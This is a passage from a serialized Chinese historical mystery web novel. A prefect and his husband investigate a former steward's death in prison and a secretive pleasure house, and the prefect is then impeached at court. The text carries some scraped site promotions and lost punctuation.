一个看不出年纪的妇人,抱着个五岁的孩子跪在拾春巷,她穿着棕褐色的棉袄,孩子坐在她膝盖上,把脸埋在她怀里。两人肩上落了一层薄薄的雪,应该也是刚来没多久,不然盛京的冬天,他们就这样过夜的话,定会被活活冻死。 便是这样,等柳大开门发现的时候,她怀里的孩子也已经有些人事不知了。 “你是打哪儿来的,来宋家是要找谁?” 柳大连问了三声那妇人才反应过来,哆哆嗦嗦的说:“我……我找顺天府尹……宋大人,我夫君是被……被冤枉的。” 柳大看她这样子人都有点人事不知了,忙跑进去回禀宋亭舟。 月梅则走上前去急着说:“你先把孩子给我进屋暖暖吧,这样冷得天不得把他冻坏了?” 那妇人已经站不起来了,月梅一把把脸上被冻成青紫色的小哥儿抱起来放到门房里,那是她和柳大住的屋子,里面放着炭盆,门上挂着厚厚的帘子,炕也烧得热乎乎的。 小哥儿被放到炕上,脸色瞬间就缓和了,只是呼吸还有些粗重。月梅把手放到他额头上,果然入手滚烫。 “呀!怎么都烧成这个样子了?这可如何是好……” 宋亭舟的早朝耽误不得,他出门后孟晚便接待了那个妇人,还让阿寻去给她的孩子看病煎药。 月梅随着阿寻往外走,冷不丁的孟晚在身后平平淡淡地说了一句,“下不为例。” 她吓得立即跪在了地上。 孟晚挥了挥手,“下去吧。” 屋里只剩下孟晚和黄叶蚩羽在,孟晚让黄叶递给那妇人一碗热汤,对方一脸警惕的盯着手中的汤,迟迟不敢喝上一口。 孟晚“噗嗤”一声乐了,“你儿子现在都在我们手里,现在才想起来怕我们下毒,是不是太晚了?” 那妇人大惊,她趴在地上恳求道:“稚子年幼,还请夫郎饶他一命。” 孟晚哪儿知道她这么不禁吓,将她扶起来哭笑不得的说:“我要他的命做什么?是你们上门找我家大人,该死你说明缘由吧?” 妇人捧着手里的热汤,突然就掉起了眼泪,一滴滴咸湿的泪水砸在汤碗里,溅起一圈圈微小的涟漪,“我夫君边二兴,被人抓到了刑部大牢里抵罪去了。” 原来这个妇人姓郭名婉贞,同边二兴夫妻二人竟然是边家的家奴,且边二兴还是当时边家的管家,极受边大人看重。 但再看重,奴才始终是奴才。 边老爷死后家里乱成一团,仆人基本上都被边夫人和两个儿子发卖了出去,连几个姨娘也不意外,只有诞了子嗣的小妾被和庶子庶女一起分了出去,而后边夫人就带儿孙们回了老家,再没露面。 被发卖的奴仆很快就被人牙子给瓜分了,这群人牙子都是人精,怕沾手这些大臣的家眷会惹祸,基本入手就把人给拉偏远处脱了手。 边二兴和郭婉贞一家三口本来都已经被卖到了奉天,新主家是一处镇子上的小地主,家境一般,就图他们一家三口卖的便宜,小儿子长大还能给自家孙子做童养媳。 抠门小气些事小,起码一家子没分开,有个安身之地不被冻死饿死。可后来…… “二兴好喝几杯,喝多了就有些说话不知深浅,得罪了地主家的大爷,我们被赶了出来。他就又带我回了盛京,我们一直在城外最近的镇子上做些零工,前天突然就有衙门的人把他给带走了。” 郭婉贞语气哽咽,“家里就靠二兴挣的那点才不至于饿死,我没了法子才找上宋大人。” 黄叶听了她的遭遇于心不忍,撇过头去眼圈泛红,他和他娘槿姑也是历经万难才有了现在的安生日子,夫郎又为他着想,一直以来都是雇佣他娘,赴京之前更是不顾他如何劝说,硬是把他的身契给放了。 他和他娘遇上了贵人,可眼前的郭婉贞明显没那个好命。 郭婉贞把手里的热汤一饮而尽,然后护着碗跪趴在地上哭泣,“夫郎,求您告诉宋大人,我家二兴真的没杀人,更何况是那么多的人命啊!” 孟晚一直听着她哭诉,直到确认她已经全都交代完了才问道:“你们从地主家离开,可身契还在地主家里吧?没有主人的籍契,你们是怎么进城的?” 郭婉贞用冷硬的破旧棉衣袖口抹了抹眼角,“乡下人不懂律法,只收了张卖身契便了事,其实我和二兴的贱籍还挂在边家名下。二兴早些年四处给老爷外出办事,许多地方都认得人,那些人还不知道我们老爷已经过世的消息,上杆子送花钱打点送我们回京。” “哦,这样啊……”孟晚拨弄了一下手边的玉佩,“我家大人急着上朝,一时半会也回不来,你先下去吃点东西休息一会儿,一切等他回来再定夺吧。” 郭婉贞张了张嘴,知道暂时也没有别的好办法,便顺从的跟着黄叶下去了。 第8章 边二兴 她走后孟晚又在原地坐了片刻才起身,直奔他和宋亭舟的书房而去。 蚩羽紧跟在他后头,挠挠头,“大人昨日说刑部抓到了疑犯,不会就是边二兴吧?” 孟晚找了张没用过的信纸,展开用镇纸压住铺平,“若是刑部只抓了一名疑犯,那八成就是他了。” “这夫妻二人也怪可怜的。”蚩羽无聊的在一旁揪花,孟晚不爱熏香,屋子里摆着两个花瓶,里头插着黄叶在院子里采的红梅,黄叶也没学过插花,咱们舒心怎么来,在白茫茫一片的寒冷冬季中,为家里带来一片彩色。 孟晚撩起袖子挑了一块墨锭,加了点茶壶中的温水细细研磨,“你又知道人家可怜了?” 蚩羽不解,“他们两口子带个孩子,给人为奴为婢,最后连个栖身之所都没有,还不可怜吗?” 孟晚用一旁的帕子擦了擦手,从笔架上拿了支毛笔来,轻蘸墨汁往信纸上笔触流畅,“好的坏的全凭人家一张嘴,我与她素昧平生,做什么别人说什么我就信什么?” “但是……但是她抱着孩子……又跪在门口哭诉,应当不是骗人的吧?”蚩羽说着说着就有些心虚,对自己刚才的同情心感到迟疑,因为他们夫郎看人比他准几倍。 房内安静,孟晚一时间没说话,专心致志的写信,写完后边吹着上面潇洒随性的行楷小字,才有空对蚩羽说:“她自己说被卖的只是小地方地主,家中不是那么有钱,既然花钱买了仆人,便是不喜,何不重新将他们发卖了呢?如此还能将当初买人的钱赚回来,怎么可能就这样把人给撵出来?” 蚩羽一拍大腿,“对呀!” 孟晚心里叹了口气,这些还是小事,最重要的是,在对奴仆如此苛刻的年代,没有主家跟随,一个奴籍根本踏不出本城城门,就算侥幸贿赂一两个小地方的守城兵,戒备森严的盛京城总不会让郭婉贞一个连籍册都没有的人进城吧? 这其中的猫腻,远比被地主赶出来这点小细节大多了。 “蚩羽,你随便叫个人将这封信递到驿站去。”孟晚把写好的信装进信封里,用漆蜡封好交给蚩羽。 “好,我这就去。”蚩羽拿着信封往外跑,塞进怀里之前还看了看了看上面的字,五个里三个不认识。 什么平,然后是府吧? 黄什么玩意? 避免宋亭舟早朝回来还要绕远回家,孟晚直接让家里的仆役架马车送郭婉贞去顺天府。 简朴的马车行驶在清晨的街道,木制车轮压在石板路上发出咯噔咯噔的杂音。北方的冬天,天亮的很晚,虽然在宋家耽搁了一会儿,这会儿却依旧黑得伸手不见五指。 郭婉贞坐在马车里,惦记着还在宋家的儿子,心里又算计着别的打算。想着想着,脸上一会儿露出狠下心的表情,一会儿又面露不舍,仗着马车上没有旁人所有想法都呈现在脸上,全然不知马车外的巷子里已经乱成一团。 只一人,干净利落的解决了六个蒙面杀手,全程连没发出丁点声音惊扰到宋家的马车。 那人也蒙着面,身材纤细,浑身上下都裹着一层黑,看不清面容。面的倒了一地的尸体,他/她连头都没回,只是在出巷子口的时候眼睛不经意的瞥向某一处房顶。 蚩羽把孟晚探出去的脑袋按下去,眼睛能瞪多大瞪多大。 孟晚大气也不敢出,趴在房顶上脑袋抵着瓦片,就这样不知道维持了多久,他实在冻得够呛,用气音问蚩羽,“还没走吗?” 蚩羽用正常音量回道:“走了啊?早就走了。” “早就走了你不吱声!”孟晚没忍住一巴掌拍他头上,要不是两个现在这个趴在人家房顶的姿势,他还真够不到蚩羽头顶。 蚩羽揉着头,“您也没问我啊!” 他还委屈了? 孟晚气不打一处来,声音也跟着放大,“赶紧下去看看死的那些人是什么来历。” 蚩羽一下子就从房顶上跳了下去,孟晚从人房顶磨磨蹭蹭的挪到墙上,又从墙上犹犹豫豫的想往下跳。 他找了半天的落脚点都觉得高,正想把蚩羽叫回来呢,一抬头忽然从眼角余光中看到两个人在靠近。 因为有人埋伏郭婉贞关系,孟晚下意识以为是刚才的杀手去而复返,定睛一看才发现是这户人家的两个小厮抬头,正一脸便秘的看着他。 孟晚很久没有翻车过了,当他瘸着腿跑向蚩羽的时候,要多狼狈有多狼狈。而且因为巷子里还躺着六具尸体,他和蚩羽跑也不是,不跑也不是,只能老老实实地等着西城兵马司的人把他俩当嫌犯给送到刑部去。 正好,折腾了一通被审讯的时候,宋亭舟也带着郭婉贞来刑部了。 “宋大人,早上西城兵马司的人在西城发现六人被害,现场抓获了两名嫌犯,其中一人说是……您的夫郎?”刑部的司狱司司狱脸色古怪的叫住宋亭舟。 宋亭舟呼吸一滞,语气急促地问道:“他在哪儿?可有受伤?” 司狱看他这架势,忙躬身回道:“宋大人放心,贵夫郎在侧厅里候着,身上并无大碍。” 宋亭舟仍是不放心,准备前往未决监的脚步生生停顿住,改为往外走,“劳烦司狱带本官过去寻他。” 司狱将他往侧厅的方向引,“是是,大人这边请。” 郭婉贞有些着急,“宋大人,我夫君……” 宋亭舟如今哪儿顾得上边二兴,头也不回的说:“你先在原地再等候片刻。” 郭婉贞无奈,只能听从他的话在未决监的门口等他。 孟晚被宋亭舟领走的时候还是怪不好意思的,他为了自己在宋亭舟心中的睿智形象,丧心病狂的把责任往蚩羽身上推,“都怪蚩羽,在人家房顶上嗓门还那么大,要不怎么也不至于引来了人。” 蚩羽先是习惯性的点头附和孟晚的话,意识到他在说什么后,他难以置信的伸出食指倒指自己——他的错? “明明是夫郎自己笨手笨脚被人给……发现了。” 在宋亭舟平淡的目光中,蚩羽的声音越来越弱。 “下次不管是何重要的事,定要先顾夫郎的安危。”宋亭舟说着发觉了孟晚走路有异,蹲下身子将手探进他脚腕处,惹来孟晚一声轻微的吸气声。 宋亭舟抬眸看他,目光中难得带了一丝责备,“晚儿。” 孟晚立马认错,“我的错我的错,下次就让蚩羽自己去,你去办你的案子,我坐门口的马车回家,让小辞或阿寻给我看看就行了。” 宋亭舟二话没说把他抱了起来,大步往门口走去,孟晚一时间都不知道是该挣扎还是该捂脸。 “蚩羽扶着我出门就好了,你快回去吧。”孟晚真诚恳求,刑部的人那么多,是整个六部中除了户部外人第二多的衙门。此刻他就是其中最靓丽的风景线,走哪儿都会迎来许多意味不明的目光,都快要把他盯出孔来了。 宋亭舟发挥依旧稳定,面对某些嘲弄的眼神毫无所觉,稳稳地把孟晚抱到刑部衙门外停靠的马车上,目送蚩羽驾车离开,才又回到未决监外。 掌管未决监的司狱从头看到尾,心中叹为观止,可他到底比底下小卒小吏有眼色,还笑吟吟的夸了句,“宋大人与夫郎真是恩爱有加,我们刑部也都是按规矩办事,还望宋大人不要误会。” 宋亭舟没说话,他并不在意别人的目光与看法,也没必要争辩什么,和等候已久的郭婉贞跟着司狱往未决监深处走去。 边二兴被关押在未决监最深处的牢房,里面昏暗且不见天日,纵使盛京不似岭南那般潮热,也能闻到一股难闻的腐臭味。狭窄的木门中能看到缩在稻草垫子上的一个人影。 “二兴,二兴?” 郭婉贞轻唤两声,趴在草垫上的人影一动不动。 情况似乎有些不对,宋亭舟沉声吩咐,“把牢门打开,叫人进去看看。” 司狱已经开始心慌了,他迅速将牢头叫来开门,门一开便迫不及待地一头扎了进去,将躺在草垫子上的边二兴巴拉过来一看——人都已经硬了。 他一屁股跌坐在地上,寒冬腊月的天,额头却硬生生的逼出了冷汗。 宋亭舟看着边二兴干瘦到不成人样的尸体,冷笑道:“这就是刑部的,按规矩办事?” 据说是主动自首的边二兴死在了刑部大牢,未决监的司狱当天就被卸了职。上头的刑部侍郎曾仕棋也难辞其咎,但毕竟是上官,被刑部尚书苛责几句,罚罚俸禄也就算了。 刑部办事不利,此案便顺理成章的由顺天府全权接管。宋亭舟在刑部待了大半天,下午将证人郭婉贞带离刑部的时候,曾仕棋坐在曾家的马车上等他。 “宋大人,可否借一步说话?”曾仕棋撩起车帘对宋亭舟说。 “曾大人有事在此地说即可,我身边并无外人。”雪生和陶家兄弟都在左右,宋亭舟没有过多犹豫,上了曾仕棋的马车,车没有动地方,就停在刑部衙门外街。 曾仕棋的马车十分简朴,里头也没有那么多的花样,简简单单的铺着厚重的毛毯,皮毛成色很旧,起码用了七八年。 他把自己的手炉递给宋亭舟,被拒绝后微不可查的叹了口气,“宋大人可与前任顺天府尹边大人打过交道?” 宋亭舟与曾仕棋相对而坐,纠正道:“边大人是二前之任。” 曾仕棋苦笑,“对,老夫也差点忘了,中间还有个只任了三个月的段大人。” “我并未见过边大人,倒是我家夫郎有幸见过一面。”宋亭舟提起他们七年前离京之时,孟晚成在顺天府的公堂上替青杏辩护。 “桓仁是个好官,虽不能同宋大人的功绩相提并论,可同你我一样,都是家门不显,一步步历经艰险才得陛下看重,坐到了顺天府尹的位置上,一坐就是十二年。”曾仕棋像是和边大人相熟,提起人来布满褶皱的眼角竟然还滑下了一滴泪来。 “曾大人想说什么?”宋亭舟连动都没动一下,依旧维持着上车后的那个动作,面容冷峻,无动于衷。 曾仕棋没想到他如此软硬不吃,眼里的水色硬生生的憋了回去,吐出一口绵长的气息之后才委婉地说:“人死如灯灭,既然边二兴已经认罪,也不要过于执着于什么莫须有的凶手,保全自身与家人才是上册。” 宋亭舟没想到他叫自己上来就是为了说这么一通模棱两可的话,敷衍地拱了拱手,“多谢曾大人好意,下官定会小心行事。” 他说完就下了车,曾仕棋还在后面解释:“宋大人,本官的意思是……” 他年纪大了,天冷穿的又臃肿,行动也不如年轻人灵巧,扒开车帘的时候宋亭舟已经上马了。 宋亭舟回顺天府后,立即叫府丞叫来曾经在边大人手下共事的几人,询问他们边大人与刑部侍郎曾仕棋是何关系,有位通判曾受边大人看重,略知几分内情。 “曾大人与边大人是同榜进士,关系很好,有时还会一起出去游湖赏景。” 宋亭舟站在边二兴枯瘦惨白的尸体前,喃喃自语,“同榜进士,关系匪浅?” 郭婉贞在刑部大牢的时候还哭得不能自已,这会儿像是缓过劲儿来了,一直问宋亭舟何时能回去看自己儿子。 宋亭舟指了指面前的尸体,“你就不怕吗?若是不将实情都全盘说出,只怕边二兴就是你明日的下场。” 郭婉贞打了个寒噤,“我……奴婢不知要说些什么。” 宋亭舟命衙役将公堂大门关闭,整个屋子瞬间暗沉下来,他抬脚走到公案后坐好,手拍惊堂木“啪”地一声,郭婉贞便像没骨头一样的跪在了地上。 “既然你不知道说什么,那本官就一件一件的问,你只需如实回答,懂了吗?” 真的跪在公堂下,左右两侧是手持水火棍的衙役,上头是高高在上的青天大老爷,郭婉贞的小心思全然抛之脑后,脑中一片空白,只空余身体上传递的惧怕感。 “是……懂……奴婢懂了。” 第9章 听香榭 郭婉贞知道的没有边二兴多,但她提供了一个非常关键的线索,边二兴……其实早就疯了。 宋亭舟追问:“疯了是何意?被人逼疯?打疯、还是无故发疯。” 郭婉贞陷入了回忆中,渐渐露出惧怕的神色,“我不知道,他是边家的管家,老爷对他很看重,他在家里的脾气本来就不大好。不知道哪一天突然就疯了,打人、咬人,好的时候对我和孩子关怀备至,不好的时候又恨不得掐死我们。” 宋亭舟抬笔往纸上记录着什么,冷峻的脸色绷的很紧,“边二兴这样,是在边家出事前,还是出事后。” 郭婉贞极力回想,“老爷死之前他好像就有过一次,不……也不算,那次他眼睛发红,但是并没有对我动手。后来我们被发卖出去,他就越来越频繁。”她说到后面眼神闪躲,带着几分心虚的表情。 宋亭舟手中的笔尖悬空,他没有管郭婉贞隐藏的话,而是问到另一个问题,“你说边大人看重边二兴,是怎么看重法?边二兴有没有和你说过边老爷的事?” 郭婉贞摇头,“二兴嘴很严,老爷交代给他的事他从来不说,也不会和我说。所以老爷若是出门会友,或者是出个远门,都会带二兴去。” 当初因为边二兴的缘故,她在宅子里也得几分体面,旁的下人多是羡慕他们一家,还有不想受苦的小丫鬟为了一点蝇头小利和边二兴厮混的,郭婉贞都知道,但是没法发作。 宋亭舟笔触微顿,“会友?边老爷常会友?” “老爷爱交友,经常出去与好友小聚。”对于这种大家都知道的事,郭婉贞还是知道的。 “边大人都去哪里会友?” 宋亭舟问完郭婉贞还没回话,堂上一名通判便突然说道:“大人,小吕曾经跟着边大人出去过两次,没准他也有影响。” 宋亭舟回身对他轻轻颔首,这位通判不是别人,正是聂二夫郎的父亲马无翟。京官难动,这位马通判都已经四五十岁了,却还是在通判的位置上,此生估计难以调动了。 说起来不管是从林易还是从聂先生来论,两人都是关系亲厚。可二人在顺天府中相交淡淡,宋亭舟并未在明面上给马通判什么特权,对六个通判一视同仁,因此谁也不知两人关系。 这会儿马通判就是在暗戳戳地给宋亭舟提醒。 吕通判本来不想趟这趟浑水,这会儿被硬推出来看马通判的眼睛都是绿的。 马通判鼻观心,眼观鼻,并不与他对视。 “吕通判。”宋亭舟沉声问道。 他虽然上任时间还不算太长,但行事干脆利落,因为经历众多,阅世无数,眉眼间便生出沉厚的威严来。 顺天府的官员都是人精,知道宋亭舟不好惹,没人敢顶风作案。 思索着回道:“大人,下官曾在永乐街见过边大人一面,他当时身旁确实带着仆人。” “永乐街?何处?”宋亭舟每天在拾春巷、顺天府和皇宫之间往复循环,对辖内县城还算熟悉,街道尚且有些陌生。 通判的神情有些不自然,但也不敢知情不报,“回大人,是听香榭。” 宋亭舟一身绯袍气势压人,他就这么冷眼看他,深黑的眼瞳仿若能洞察人心。 通判后背划过一丝凉意,求生欲使他识趣的补全了后面的话,“大人,听香榭是京中有名的花楼,下官只是在楼外顿足过。” “对,我想起来了,就是听香榭,二兴跟老爷去过那里。”边二兴再嘴严,也会不经意间对枕边人泄露一二,郭婉贞原先是真的没想起来,通判说出名字后,她瞬间有了印象。 “备马,换上便衣随我去听香榭。” 后续郭婉贞再说不出什么能用的线索,宋亭舟便当机立断从座位上站起,叫上通判和入京后一直跟着他的雪生,各自换了便衣前往听香榭。 永乐街名字与街道相符,一整条街都是吃喝玩乐的好去处,盛京城中的公子哥儿最爱来此处。永乐街的尽头便是听香榭,听香榭是由三座矮楼和一圈的平房组成,分别是听澜、香雪和榭亭。 榭亭便是最靠里的一座两层小楼,精妙的建在玉河上,推开窗下面就是湖景,消费也最高,非达官显贵不得入内。 宋亭舟出门在外没带多少银两,还是从衙门里找人东拼西凑借的。顺天府共有六个通判,跟他来这个叫吕粟,管顺天府的粮储之事,是六个通判中最年轻能干的一个,今年才二十七岁,当初边大人还在的时候就多有提拔。 一朝天子一朝臣,顺天府虽然不是朝堂,但做为一个举足轻重的衙门,里面人手配备齐全,众人心思各异,有想往上钻研的,有想换衙门的,还有年纪大了想躺平的。 吕通判年纪轻,显然不在后者之列。然而他作为被边大人看重的“旧人”,跟在宋亭舟后头格外心虚,垂着脑袋默不作声,将自己当作宋亭舟的小厮。 听香榭和普通的花楼又有所不同,门口没有拉客的姑娘,只有两个腰板挺得笔直的打手,和门房里一个趴在桌子上打盹的龟公。 雪生从前所在的戏班子,戏子们空虚寂寞,赚了银子转手又去逛花楼挥霍一空的大有人在。他走在宋亭舟前面,脚步轻快灵敏,竟然没吵醒睡觉的龟奴。 “帮闲的,来客了。”雪生重重地敲了两下窗框。 龟奴先是不耐烦的嘟囔,“这才什么时辰就来逛花楼?听香榭门敬二两。” 他睡眼惺忪的抬头,一眼入睛的不是离他最近的雪生,而是几步外的高大男人。 对方肩宽腰窄,英眉俊目,见他看过去,用极为冷淡的眸子审视着他。 龟奴下意识吞咽了下口水,不经意间看到了男人腰间的玉饰,是块水头一般的青玉。 慌乱的心放下了一半,他重新重复了一下刚才的话,只是语气好了不少,“门敬二两。” 雪生拧紧了眉,“听到了,拿着。”他从荷包里掏出二两银子来扔给龟奴。 只是个小小的进门费,竟然就要二两银子,不愧是有名的销金窟。 龟奴拿手颠了颠银子,顺手收进旁边的钱匣子里。可能是觉得宋亭舟气质不同旁人,他又提点了一句,“这个点姑娘们都刚起床,估摸着还有半个时辰才能装扮完毕,三位可以先到里头占个好位置。” 往里走第一座就是听澜楼,同龟奴说的那样,只有两个上了年纪的妈妈在嗑瓜子唠嗑。 “呦,这是打哪儿来的公子这般英俊,是要进厅啊还是在外头找个位置坐坐?”妈妈做为花楼里的直接受益者,见到来了客人比龟奴热情许多,只是笑容虚假,不见真心。 “何为进厅?”宋亭舟淡定发问,语气不像是在逛窑子,反而像是研究学问。 “公子您还是第一次来啊?”妈妈们更稀奇了,甩着帕子就要上前,结果被雪生挡在中间,“这是我们老爷,不是什么公子。” 两个妈妈笑得更欢了,老爷好,老爷上头比公子还能花钱。 不光是听香榭,盛京几个排在前头的花楼都有规矩,门敬只是门槛,入了花楼的门只能坐在院里,院里两排桌子,后一排交了门敬就能坐,前门一排挨着门槛的,又要额外加钱。 为什么? 因为门槛里头有歌妓舞妓在表演,想看貌美的姑娘们,门里门外可是有区别的。 再往上一个档次就是二楼的雅座,上头都是家里不差钱的公子哥,花钱如流水,随手打赏的银子最少都是五两,与楼下这些出来嫖妓还计较三两二两的简直是天差地别,龟奴和妈妈们自然更乐意接待。 宋亭舟在院子里转了转,面前的听澜楼内挂着三幅美人图,下面还有小字,站在楼外看不真切,但应该是听澜楼里的头牌。 穿过听澜楼旁的圆拱门,再往里就是香雪楼,同听澜楼的布局相似,只是楼里挂着的是小哥儿的图画,各个面生红痣,其中有一个痣的位置竟然同孟晚极为相似,只是他离眼尾更近,是颗标准的泪痣,那小哥儿也是面色妩媚,一脸艳色。 “公子喜欢香雪楼里的小哥儿?寻常小哥儿还好,咱们楼里的三个头牌可不是谁想见就见的。”香雪楼里的嬷嬷笑着迎出来,他长得和善,脸上也没有浓妆艳抹,说话时拉着长长的调子,并不惹人讨厌。 宋亭舟手指向玉河上那座最精巧的小楼,“我要去那里,要多少银子?” 通向小楼的小径上立着一座门,门前是一排平房,时常有人在门前走动,却不见有人进去或者出来。 嬷嬷有瞬间的愣神,随后笑意更深了些,“公子想去榭亭?那处只有听香榭的花魁独住,有钱无用,有权除非是皇家,否则我们花魁娘子只见有缘人。” 宋亭舟漠然,既没有想见到美人的渴望,也没有凡俗的欲念,冷冷淡淡的问道:“何为有缘?” 嬷嬷把冻得通红的手揣在袖子里,“自然是花魁娘子亲自邀请进去的人了。” ——无用的废话。 宋亭舟扭头就走。香雪楼的嬷嬷拦住了他,“公子何不再等片刻,楼里的乐舞马上就开始了。” 他说的不错,听澜楼那边的两个妈妈这会儿也开始忙着接客,只是手里的瓜子还是没舍得放下。 宋亭舟突然抛了一锭碎银扔给香雪楼的嬷嬷,“你们楼里的瓜子是在哪儿采买的?” 嬷嬷愣愣地接过银两,“啊?” 晚些宋亭舟回拾春巷,手里拎着两大包的瓜子。 孟晚纳闷道:“怎么想起来买瓜子吃,大冬天,怪冻手的。” 宋亭舟刚要张口,就见一旁阿砚瞪着那双与孟晚如出一辙的桃花眼,正好奇的看着自己,像是在等待他的解释。 “咳,没什么,听人说这家的果干好吃,买点回来给你尝尝。”宋亭舟轻咳一声,把手里的东西递给阿砚。 阿砚拿起来就想拆开,“好吃的果干?有阿爹的工坊里做得好吃吗?” 宋亭舟想打发他走,便说:“提去你祖母那里一包,爹爹们一会儿就过去吃饭。” 阿砚看看孟晚,又看了看宋亭舟,“哦,那好吧,你们快点过来,祖母说饭早就好了。” 阿砚走后孟晚也察觉出一点端倪来,“怎么了?” 宋亭舟把官服换下来,穿上家里的柔软厚实的棉袍,把白天在刑部发生的事,和后来去听香榭的见闻都说了。 “花钱都进不去?”孟晚颇感兴趣。 宋亭舟用微凉的手指点住他的唇,警告道:“不许私自前去,能引得朝廷命官秘密前往,这家花楼不简单。” 孟晚握住他的手亲了一下,两人眼里都漫上笑意,“我知道了,不会乱做没有把握的事的。” “对了,我给黄挣写了信,让他帮忙查一查郭婉贞和边二兴,总觉得这二人还有古怪。”孟晚是凭着一半自觉,另一半就是细微之处的观察。 宋亭舟与郭婉贞接触的更多,“她看见边二兴尸体的时候并没有过多伤心,对上她所说证词,边二兴的怪病……她儿子的病如今怎么样了?” “已经退烧了,在门房里由月梅照顾。”其实孟晚从刚才听宋亭舟说起郭婉贞的证词后就想到了一件事。 “易怒、易燥、易成瘾,除了最后一条尚且得不到验证外,边二兴的情况和当初我去吉婆岛时所见的沈老爷极为相似,但两者天南地北,总不能边二兴也去过吉婆岛吧?能不成小辞的师父上京了?可时间也对不上啊?” 那个妖道真的和妖精差不多,十分擅长笼络人心,他似乎武力并不算高,但一身制毒的本事简直让人谈虎色变。 宋亭舟没有太多忌惮,他平静的说:“暂且不必忧心,一切自有前路。” 后半夜,喧闹的花楼里也逐渐开始安静下来,那座神秘的小楼里却灯火不熄。 “今日来得那个男人是什么来头?可探查清楚了?”一位容貌绝美的女子半倚在栏杆上问道。 同宋亭舟交谈过的嬷嬷恭敬的站在门口,声音虽低,语调却很清晰,“回楼主,下面的人去查过,是新上任的顺天府尹,据说是从岭南调回来的。” 那名绝色女子并未梳妆,头发披散在洁白的斗篷上,手指上的豆蔻红的吸人眼球,“岭南?我似乎知道了,有意思,他想来见我?还是因为边桓仁的事?” 嬷嬷静静的站在门外,并未作答。 那女子果然不用旁人的回答,自顾自的说:“去杀边家家奴的人一个都没有活着回来,也不知后面藏着的又是谁?便先试试吧,总归不能让边家出的事,影响听香榭。” 第10章 ** 第二天宋亭舟上早朝的时候按部就班的向皇上回禀政务还未等退回原位都察院里的十三道监察御史就跳出来了一个。 “陛下微臣要**顺天府尹宋亭舟!宋亭舟身为朝廷命官受禄食俸本当恪尽职守以职事为要。然其竟于公廨视事之时当值之时公然狎妓!” 监察御史说的义愤填膺身为殿内唯一的七品官职许多上官督察御史不方便出面的话都由这些下官先打头阵。 他话音一落殿内众文武官员神色各异。官员狎妓是默认的行为文官好风雅妓子风流有才情远比世家调教出来行事一板一眼的小姐公子们敢说敢想。 武官则不讲究那些才情他们去狎妓多是直奔主题去就找漂亮的。 禹国律法中确实有官员不可狎妓这一条被人指出来也确实是德行有亏但一般没人管这个闲事因为大家都去所以这会儿众人才脸色缤纷多彩。 上头的督察御史都是四品往上动辄不轻易**百官一旦开口就是抄家灭族的大事。 底下这些七品的监察御史就不一样了官阶低极容易受人摆布十三人里关系错综复杂两三人便能成一伙。 果然上一个监察御史刚**完下一个又出了列 王瓒回身看了这两位监察御史一眼又瞥向与他并肩的右副都御使嘴角泛起一抹冷笑。自太子失踪后什么牛鬼蛇神都冒头了想讨好新皇做一朝新臣可不是那么容易的。 殿内官员听监察御史胡乱攀扯心里想的不是他们所说内容荒诞搞笑而是思索宋亭舟竟然清廉到无状可告到这种地步? 不过他和他夫郎的事确实传遍朝野谁都知道他们俩在刑部衙门里搂搂抱抱不成体统。 有人借着手中笏板用余光偷看宋亭舟的反应。 嗯? 不是他看错了吧? 天天和冷面阎王似的宋大人竟然在笑? 被**了还笑? 龙椅上的帝王将殿下众人的反应都看在眼里他无奈的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 叹了一声,“宋卿向来持重,在职之期,多半是为了查案才去的?” 后一人**的什么和夫郎姿态亲密有违礼法直接被皇上无视了,话里话外都是对宋亭舟的维护。 可见顺天府尹一职简在帝心之说不是妄言。 众人都以为宋亭舟顺势承认,这个小插曲也就过去了,岂料他双手持笏板于胸前,竟直接弯曲双膝跪下认罪,“陛下明鉴,臣昨日确实在职之期去了城南的听香榭,怠惰了公务。臣自知有过,辜负了陛下圣望,自请闭门思愆,还望陛下成全。” 那两位**宋亭舟的监察御史被宋亭舟这一番举动给唬住了,准备了一肚子的话术都没了用武之地。 宋亭舟就这么忍了? 两人呆愣在金銮大殿上,一时间不知该作何反应,只得悻悻退下。 上首的帝王沉默片刻,“即是如此,朕便允了卿的诉求,宋府尹便在家自省……五日吧。” 后续皇上什么也没说,这事就算这么了了,宋亭舟连句苛责都没得到。皇上也没明指这两天让宋亭舟暂且卸职。 五天? 这个惩处同沐休有何区别? 散朝后宋亭舟走出大殿突然笑了,若是没人跳出来,满京那么多文武百官,他还真没办法挨个探查。 散朝的时候外面已经天光大亮,皇宫内的积雪被内侍扫的一尘不染,晴光刺破天空,照在人身上却带不来一丝暖意。 宋亭舟他们这样四品以上的官员方能在殿内上朝遮蔽冬寒,四品以下的官员就只能在殿外候着挨冻。 柴郡远远目送宋亭舟挺拔的绯色背影,以及围在他身边带着敬畏又不敢靠近的上官们,头颅微垂,姿态恭敬。 他们这群殿外的官员,要等上官们依次离开才能坠在后面跟着,这已经不是他第一次偷看宋亭舟了。 “怎么?羡慕了?依照你的人品,该不会是在嫉妒宋大人吧?”位置比柴郡还靠后一列文官中,突然传来了一道嘲讽的声音。 柴郡不用回头都知道说话的是谁,他面色温怒,因为身在皇宫而不得不隐忍怒火,“吴千嶂,你很得意?听说自宋亭舟入京,你伯父就开始托人脉找关系想把你外放出去?怎么堂堂礼部一品大员,竟然会怕一个毫无根基的三品府尹吗?” 吴千嶂前些年被吴巍运作进翰林院,可见是还有痴想捧吴千嶂一回 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的,但宋亭舟回来后,他像是放下了最后一丝的痴念,一直告病在家避其锋芒,连侄儿也想给外派出去,像是在做最后的打算。 当初和宋亭舟柴郡同届的进士都知道吴千嶂和宋亭舟之间有过节,吴家明显呈现颓势,宋亭舟却正得圣眷。往日围着吴千嶂想在吴巍那里讨些好处的人怕被他牵连,这会儿都避之不及。 柴郡拿吴家最戳心扎肺的去刺吴千嶂,虽然皇上已经离开,但皇宫里都是圣上耳目,只要吴千嶂敢失了体面与他争执,保管第二天就捅到皇上面前,让本就夹着尾巴做人的吴家,更是雪上加霜。 “我们吴家的事就不劳柴大人关心了,廉王殿下如今得势,开始拉拢如宋大人那样的高官,柴兄这样的小喽啰无人打算,去年年底的位置没挪,开始慌了吧?”岂料吴千嶂并没有被激怒,反而不咸不淡的反讽柴郡后淡然离开。 柴郡被人触痛软肋,一时间脸色要多难看有多难看,可依旧能隐忍不发。七年过去,不光是宋亭舟,其余人也多有蜕变。 不管心思是恼怒还是愤恨,都藏在心底,不敢在皇宫中发作。 